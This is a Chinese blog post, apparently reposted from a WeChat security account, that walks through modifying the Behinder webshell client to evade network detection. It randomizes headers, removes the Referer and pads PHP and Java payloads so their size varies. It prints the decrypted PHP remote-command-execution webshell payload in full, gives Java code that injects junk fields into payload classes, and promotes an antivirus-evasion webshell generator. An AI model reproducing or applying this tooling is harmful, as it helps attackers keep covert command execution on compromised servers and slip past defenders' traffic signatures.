冰蝎二开从0到1

admin 2025年7月9日01:59:57评论1 views字数 12847阅读42分49秒阅读模式

最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里简单记录一下冰蝎二开的过程

继上次二开哥斯拉后,已经过去了七个月了,项目收获了很多star,感谢大家的star

上次我们已经对godzilla进行了二开,这次我们继续对冰蝎进行简单的二开。

准备工作

首先致敬一下原版冰蝎,原版地址https://github.com/rebeyond/Behinder

我们这里使用的最新的[Behinder_v4.1【t00ls专版】Latest]版本,进行逆向及二开。虽然是4.1版本,但是本文还是在冰蝎3的木马上做研究。冰蝎因为涉及到自己设置加密解密脚本,我们将下篇文章进行研究。

反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。

当然也可以使用idea的插件进行反编译,都一样。

ok开始

环境搭建

这里细节的反编译及配置就不在此文章中体现了,这里配置的过程和哥斯拉一模一样。有兴趣的同学可以回看之前的文章godzilla二开学习。

只是接着添加主类不是哥斯拉的路径

冰蝎二开从0到1

是在这个路径,这个路径实际上是自己出来的。

要将反编译的srcMETA-INF/MANIFEST.MF源文件,放到src下面,注意路径。这个主类的路径就自己出来了。

点击选中主类,我们既可以愉快的二开了。

改标题

现在就可以编译了,我们先简单的改一下标题。

复制一份文件,冰蝎的标题在net/rebeyond/behinder/core/Constants.java复制src/net/rebeyond/behinder/core/Constants.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。

冰蝎二开从0到1

这里就可以看到相关的参数了,随意更改,老样子,我们随便改一下就好。然后build project 在build artifacts 就可以了。

冰蝎二开从0到1

这里有一点要注意,就是如果你运行生成好的jar,他说数据库未找到,那么你需要编辑一下环境

冰蝎二开从0到1
冰蝎二开从0到1

这个working directory需要设成你的生成文件的目录,这样,Behinder.Jar就能找到相关的数据库文件了,

冰蝎二开从0到1

当然别忘了把Behinder自带的目录都挪过来。

全局改造

我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。

看网上一些大师傅分析的结果,似乎都比较久远(3.0),我们尝试分析一下。

冰蝎是没有像哥斯拉一样的测试按钮的,我们只能直接打开。

在我们直接打开后,会发现,有三个数据包

冰蝎二开从0到1

我们先来看第一个包

POST /rebeyond/mian2.php HTTP/1.1Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Content-type: application/x-www-form-urlencodedReferer: http://192.168.133.128:11001/DR6D/NX.phpUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Content-Length: 3096Host: 192.168.133.128:11001Connection: closeAccept-Encoding: gzip, deflate3Mn1yNMtoZViV5wotQHPJtww..HTTP/1.1 200 OKServer: nginxDate: Tue, 01 Jul 2025 12:55:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=ro9l5p843f3h6l9s30mcg8951c; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 286...

这里可以看到请求包中有

Accept: application/json, text/javascript, /; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Content-type: application/x-www-form-urlencodedReferer: http://192.168.133.128:11001/DR6D/NX.phpUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

这些都是我们可以修改的,在net/rebeyond/behinder/core/Constants.java

冰蝎二开从0到1

可以看到相关的定义

Accept: application/json, text/javascript, /; q=0.01,表示客户端(例如浏览器或爬虫)告诉服务器:

“我能接受这些类型的数据格式作为响应内容,按优先级排列如下。”

  1. 1. application/json
    • • 客户端最希望服务器返回 JSON 格式的数据;
    • • 典型于前后端通信、Ajax 请求、API 接口调用。
  2. 2. text/javascript
    • • 如果不能返回 JSON,可以返回 JavaScript 脚本(例如 JSONP 响应);
    • • 虽然现在 application/javascript 更标准,但 text/javascript 仍被广泛支持。
  3. 3. */*; q=0.01
    • • */* 意思是「任何其他类型都可以接受」;
    • • q=0.01 是质量因子(quality factor),表示优先级很低(取值范围是 0.0 ~ 1.0);
    • • 这里的 q=0.01 表示除非前面都不满足,否则不考虑其他类型。

这里可以看到都是常用的Accept ,没有什么特殊的。

原版里面给了一个accept,有同学问,不是给了两个么,是的,给了两个,

冰蝎二开从0到1
在同目录下的shellservice里面,作者定义了这个,最后一个永远不会被选中。我们给他加上,并且加几个字符串随机。
冰蝎二开从0到1

这样的话,就可以简单随机了,大概率感觉不会被设备标记,太普通了

冰蝎二开从0到1

一般也都是这种

    public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};

ua也定义了一下,看起来也都是一些常见的ua,我们直接给他换成我的edge,google,firefox的。

public static String[] userAgents在这里修改就行。

冰蝎二开从0到1

Accept-Language这里也简单修改一下,

冰蝎二开从0到1

大家仔细观察在上面bp图里面有一个Referer字段,这个字段是作者加的,

private String getReferer() {        String refer;        URL u = null;        try {            u = new URL(this.effectShellEntity.getString("url"));            String oldPath = u.getPath();            String newPath = "";            String ext = oldPath.substring(oldPath.lastIndexOf("."));            oldPath = oldPath.substring(0, oldPath.lastIndexOf("."));            String[] parts = oldPath.split("/");            for (int i = 0; i < parts.length; ++i) {                if (parts[i].length() == 0) continue;                if (new Random().nextBoolean()) {                    int randomNum = new Random().nextInt(parts[i].length());                    if (randomNum == 0) {                        randomNum = 4;                    }                    String randStr = new Random().nextBoolean() ? Utils.getRandomString(randomNum).toLowerCase() : Utils.getRandomString(randomNum).toUpperCase();                    newPath = newPath + "/" + randStr;                    continue;                }                newPath = newPath + "/" + parts[i];            }            newPath = newPath + ext;            refer = this.currentUrl.replace(u.getPath(), newPath);        } catch (Exception e) {            return this.currentUrl;        }        return refer;    }
冰蝎二开从0到1

响应的代码也是在shellservcie里,这一大段的意思就是,先获取根目录如Referer: http://192.168.133.128:11001/,然后随机取几个字符,放到后面,然后是什么语言的脚本就加一下随机几个字符.php,每次替换都是随机的,可能不替换我们当前的目录,可能部替换shell名字,就像下面这样。

冰蝎二开从0到1

如果我们把这个referer去掉,

冰蝎二开从0到1
冰蝎二开从0到1
冰蝎二开从0到1

没有referer 也是正常使用的。

这里猜测作者是想通过referer 进行伪装正常流量,我们这里就先给他去掉吧。

冰蝎二开从0到1

在很多网站上我们都可以看到有referer ,这或许会成为检测的标准,或者不会,我们就先去掉吧,后面如果有需要,我们在进行重写。

到此,大概请求的header就差不多了,我看有大佬的文章说,有的Content-Length在5700左右

这个是没有问题的,我们来看一下流量。为什么会产生这个数字。

冰蝎二开从0到1

冰蝎中每个语言都对应的模块

冰蝎二开从0到1

这些模块就是 当我们打开冰蝎的黑框后,我们在命令执行这个页面执行命令,就会调用cmd模块的代码。当我们执行ls后,

冰蝎二开从0到1

先会发一个大包,aes解开后,需要解开一个base464,

@error_reporting(0);functiongetSafeStr($str){$s1 = iconv('utf-8','gbk//IGNORE',$str);$s0 = iconv('gbk','utf-8//IGNORE',$s1);if($s0 == $str){return$s0;    }else{returniconv('gbk','utf-8//IGNORE',$str);    }}functionmain($cmd,$path){    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time'0);$result = array();$PadtJn = @ini_get('disable_functions');if (! empty($PadtJn)) {$PadtJn = preg_replace('/[, ]+/'','$PadtJn);$PadtJn = explode(','$PadtJn);$PadtJn = array_map('trim'$PadtJn);    } else {$PadtJn = array();    }$c = $cmd;if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {$c = $c . " 2>&1n";    }$JueQDBH = 'is_callable';$Bvce = 'in_array';if ($JueQDBH('system'and ! $Bvce('system'$PadtJn)) {ob_start();system($c);$kWJW = ob_get_contents();ob_end_clean();    } elseif ($JueQDBH('proc_open'and ! $Bvce('proc_open'$PadtJn)) {$handle = proc_open($carray(array('pipe','r'            ),array('pipe','w'            ),array('pipe','w'            )        ), $pipes);$kWJW = NULL;while (! feof($pipes[1])) {$kWJW .= fread($pipes[1], 1024);        }        @proc_close($handle);    } elseif ($JueQDBH('passthru'and ! $Bvce('passthru'$PadtJn)) {ob_start();passthru($c);$kWJW = ob_get_contents();ob_end_clean();    } elseif ($JueQDBH('shell_exec'and ! $Bvce('shell_exec'$PadtJn)) {$kWJW = shell_exec($c);    } elseif ($JueQDBH('exec'and ! $Bvce('exec'$PadtJn)) {$kWJW = array();exec($c$kWJW);$kWJW = join(chr(10), $kWJW) . chr(10);    } elseif ($JueQDBH('exec'and ! $Bvce('popen'$PadtJn)) {$fp = popen($c'r');$kWJW = NULL;if (is_resource($fp)) {while (! feof($fp)) {$kWJW .= fread($fp1024);            }        }        @pclose($fp);    } else {$kWJW = 0;$result["status"] = base64_encode("fail");$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");$key = $_SESSION['k'];echoencrypt(json_encode($result));return;    }$result["status"] = base64_encode("success");$result["msg"] = base64_encode(getSafeStr($kWJW));echoencrypt(json_encode($result));}functionEncrypt($data){ @session_start();$key = $_SESSION['k'];if(!extension_loaded('openssl'))        {for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15];                }return$data;        }else        {returnopenssl_encrypt($data"AES128"$key);        }}$cmd="Y2QgL3d3dy93d3dyb290L3BocC9yZWJleW9uZC8gO2xz";$cmd=base64_decode($cmd);$path="L3d3dy93d3dyb290L3BocC9yZWJleW9uZC8=";$path=base64_decode($path);main($cmd,$path);

就会得到一个源码里的模板,和执行命令传的参数,

冰蝎二开从0到1

这里cmd解出来就是传递的参数了,因为模板是确定的,那么他的传递的值大小就是确定的,这里因为我们执行的命令不一样,可能不一样,为什么呢,因为我们常常执行的命令都很短,

冰蝎二开从0到1

这里可以看到,执行短的命令就是5740左右,执行长的就会相应的加上一些。

我们这里考虑到如果安全设备标记了这个长度,那就不好了,我们可以在模板中加一些字符串,让这个模板变大一些。首先net/rebeyond/behinder/core/Params.java
冰蝎二开从0到1

找到相关的代码,因为每次都会加载php,我们刚刚看到的模板也copy出来一份,在net/rebeyond/behinder/core/Params.java中写一个随机位数的字符串,跨度大一些,

StringCHAR_POOL="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";Randomrandom=newRandom();intlength= random.nextInt(51) + 150;StringBuildersb=newStringBuilder(length);for (inti=0; i < length; i++) {            sb.append(CHAR_POOL.charAt(random.nextInt(CHAR_POOL.length())));        }StringrandomStr= sb.toString();

随机150-200字符,太大了也不行,影响传输,慢。

然后再模板中随意定义一个变量

冰蝎二开从0到1

然后再进行替换一下,就好了。

冰蝎二开从0到1

打包编译,看下效果。

冰蝎二开从0到1

可以看到,在执行命令的时候也就可以动态的调整大小了。

冰蝎二开从0到1

相应的,我们再解请求包的时候,也就可以看到这个字符串了。

这里笔者只是加了cmd.php其他的都没加,因为笔者再测试的时候发现,其他功能的请求字符串大小波动比较大,都没有太固定再一个值范围边,如果需要的话,从新copy一份,加上要替换的字符也就可以了。

冰蝎二开从0到1

顺便在加一下jsp的,

需要在net/rebeyond/behinder/core/Params.java的

public static byte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {

修改,用到class修改,

publicstaticbyte[] getTransProtocoledClass(String className, TransProtocol transProtocol) throws Exception {StringtransProtocolName= transProtocol.getName();if (transProtocol.getId() < 0) {Stringkey= ((LegacyCryptor)transProtocol.getCryptor()).getKey();if (legacyPayloadClassCache.containsKey(transProtocolName) && legacyPayloadClassCache.get(transProtocolName).containsKey(key) && legacyPayloadClassCache.get(transProtocolName).get(key).containsKey(className)) {return legacyPayloadClassCache.get(transProtocolName).get(key).get(className).toBytecode();            }ClassPoolcp= ClassPool.getDefault();CtClassPocCls= cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className), Utils.getRandomString(10));//java// === 插入随机字段 ===Stringchars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";Randomrandom=newRandom();intlength=150 + random.nextInt(1500);StringBuildersb=newStringBuilder();for (inti=0; i < length; i++) {                sb.append(chars.charAt(random.nextInt(chars.length())));            }StringrandomValue= sb.toString();StringfieldName="bohemian_" + random.nextInt(9999);StringfieldSrc="private static final String " + fieldName + " = "" + randomValue + "";";CtFieldjunkField= CtField.make(fieldSrc, PocCls);            PocCls.addField(junkField);//endCtMethodencodeMethod= CtNewMethod.make(transProtocol.getEncode(), PocCls);            PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt"));            PocCls.addMethod(encodeMethod);            PocCls.setName(className);            PocCls.detach();            Map<String, CtClass> payloadClass = newHashMap<>();            payloadClass.put(className, PocCls);            Map<String, Map<String, CtClass>> keyPayloadMap = newHashMap<>();            keyPayloadMap.put(key, payloadClass);            legacyPayloadClassCache.put(transProtocolName, keyPayloadMap);return PocCls.toBytecode();        }if (payloadClassCache.containsKey(transProtocolName) && payloadClassCache.get(transProtocolName).containsKey(className)) {return payloadClassCache.get(transProtocolName).get(className).toBytecode();        }ClassPoolcp= ClassPool.getDefault();CtClassPocCls= cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className), Utils.getRandomString(10));CtMethodencodeMethod= CtNewMethod.make(transProtocol.getEncode(), PocCls);        PocCls.removeMethod(PocCls.getDeclaredMethod("Encrypt"));        PocCls.addMethod(encodeMethod);        PocCls.setName(className);        PocCls.detach();        HashMap<String, CtClass> payloadClass = newHashMap<String, CtClass>();        payloadClass.put(className, PocCls);        payloadClassCache.put(transProtocolName, payloadClass);return PocCls.toBytecode();    }
冰蝎二开从0到1

这样每次用的时候执行命令的时候,就会把数据包随机的扩大一些了。

Content-length大小的改变就先到这里吧。

网上还有其他大师傅的文章说,每次客户端请求的时候,客户端的端口号是从
冰蝎二开从0到1

49700左右开始加的,

冰蝎二开从0到1

笔者在测试的时候似乎没发现这个特征,这里不太清楚是因为木马是3.0的原因还是啥,这里就不过多研究了,等下个文章研究4.0木马的时候,我们再来研究是否有这个特征。

接下来,我们还是要看一下冰蝎的流量,从以前写的文章中我们知道,在godzilla中

请求流量php是可以左右加参数的,如 a=s&b=d&pass=balbal,godzilla的木马有两个参数,一个是pass,一个是key,pass是用来传参的,而key是用来异或的,所以pass的值才是server端php所接受的参数,而在Behinder中,php的木马是是用的file_get_contents("php://input");来接受所有的传递内容,所以我们在看behinder的流量时,会发现,是没有参数传递的。这个函数file_get_contents("php://input")和字符串,后面免杀要重点关注。
冰蝎二开从0到1

这里如果在加一些 a=s&b=d&pass=balbal,似乎有些不好,不是那么规整了,这里就不在画蛇添足了。当然,如果想加的话,也不是不行,$post=file_get_contents("php://input");,直接获取参数的值给post变量即可。

下面我们来看,返回包,从以前写的文章中我们知道,godzilla的返回包带有密码和key的md5值,在返回包的前后,

冰蝎二开从0到1
也就是这样的,godzilla二开,在前面的文章中可以看到我们在二开哥斯拉的时候,给他修改了一下,让他没那么明显,
冰蝎二开从0到1

也就是这样,让他没那么明显,但是我们回过头来看behinder的返回包

冰蝎二开从0到1
冰蝎二开从0到1

看起来似乎就是加密的流量,如果不解密出来的话,没有什么明显的特征,如果这里加成那种带message的其实也行,但是感觉没什么必要,加了有点突兀,这里笔者就先不加了。当然如果你想加也是可以的,在net/rebeyond/behinder/core/ShellService.java中,对data数据进行操作就可以了,当然前提是你的木马也要修改,就是echo一下。

冰蝎二开从0到1
冰蝎二开从0到1

也就是说,整体上来看behinder3.0的流量看起来还是挺正常的。目前来看不太需要进行更改。

总结

这里也只是简单的对冰蝎3.0的数据包流量进行一丢丢的修改,看到网上的一些特征做隐去处理,没有做过多的更改

下个版本
下个版本我们将做免杀,我们都知道,哥斯拉是可以直接生成木马的,而冰蝎不能直接生成,是自带的在,在我们下载的时候,
冰蝎二开从0到1

在server中,这样的话,不是很方便。

下个版本将新增一个免杀生成按钮,

冰蝎二开从0到1
冰蝎二开从0到1
点开后,输入密码生成即可。

目前框架已写好了,php和asp已经做完免杀了,其他的还需要做一些。很快将会完成。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/behinder_erkaisrc代码也以上传,免杀已有框架代码,大家直接下载研究即可。

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。

参考
https://github.com/rebeyond/Behinder            原版behinder

emmm 太菜了一直在路上

往期文章
冰蝎二开从0到1
冰蝎二开从0到1
冰蝎二开从0到1

原文始发于微信公众号(Cloud Security lab):冰蝎二开从0到1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日01:59:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   冰蝎二开从0到1https://cn-sec.com/archives/4231590.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息